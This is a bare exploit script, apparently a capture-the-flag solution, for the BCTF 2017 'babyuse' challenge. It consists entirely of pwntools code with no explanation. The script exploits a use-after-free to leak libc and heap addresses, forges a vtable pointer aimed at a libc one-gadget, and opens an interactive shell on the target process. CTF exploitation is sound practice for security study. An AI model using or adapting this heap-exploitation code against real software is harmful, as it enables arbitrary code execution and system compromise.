BCTF 2017 Babyuse

Exploit ONLY

from pwn import *
 
p=process("./babyuse")
elf=ELF("./babyuse")
 
def buy(gun,length,name):
    p.recvuntil('Exit')
    p.sendline("1")
    p.recvuntil('95')
    p.sendline(str(gun))
    p.recv(1024)
    p.sendline(str(length))
    p.recvuntil(':')
    p.sendline(name)
 
def select(idx):
    p.recvuntil('Exit')
    p.sendline("2")
    p.recvuntil('gun')
    p.sendline(str(idx))
 
def list():
    p.recvuntil('Exit')
    p.sendline("3")
 
def rename(idx,length,name):
    p.recvuntil('Exit')
    p.sendline("4")
    p.recv(1024)
    p.sendline(str(idx))
    p.recvuntil(':')
    p.sendline(str(length))
    p.recvuntil(':')
    p.sendline(name)
 
def use():
    p.recvuntil('Exit')
    p.sendline("5")
    print p.recvuntil('gun ')
 
def use_input(what):
    p.recvuntil('menu')
    p.sendline(str(what))
 
def drop(idx):
    p.recvuntil('Exit')
    p.sendline("6")
    p.recvuntil('delete:')
    p.sendline(str(idx))
 
buy(2,256,"AAAA")
buy(2,256,"BBBB")
select(0)
drop(0)
use()
main_arena = u32(p.recv(4)) - 0x38
malloc_hook = main_arena - 0x10
libc_base = malloc_hook - 0x1b2768
one_shot = libc_base + 0x3ac69
print hex(main_arena)
print hex(libc_base)
print hex(malloc_hook)
print hex(one_shot)
use_input(4)
buy(2,40,"CCCC") #0
buy(2,40,"DDDD") #2
select(0)
drop(2)
drop(0)
#0,2 off 1 on
use()
heap = u32(p.recv(4))
heap_base = heap - 0x68
heap_vtable = heap_base + 0x250
heap_fake = heap_base + 0x148
use_input(4)
print hex(heap)
print hex(heap_base)
print hex(heap_vtable)
 
buy(1,40,"ZZZZ") #0
buy(1,256,p32(one_shot)) #2
 
select(0)
drop(0)
print "=========="
rename(1,15,p32(heap_vtable)+p32(heap_fake))
 
p.interactive()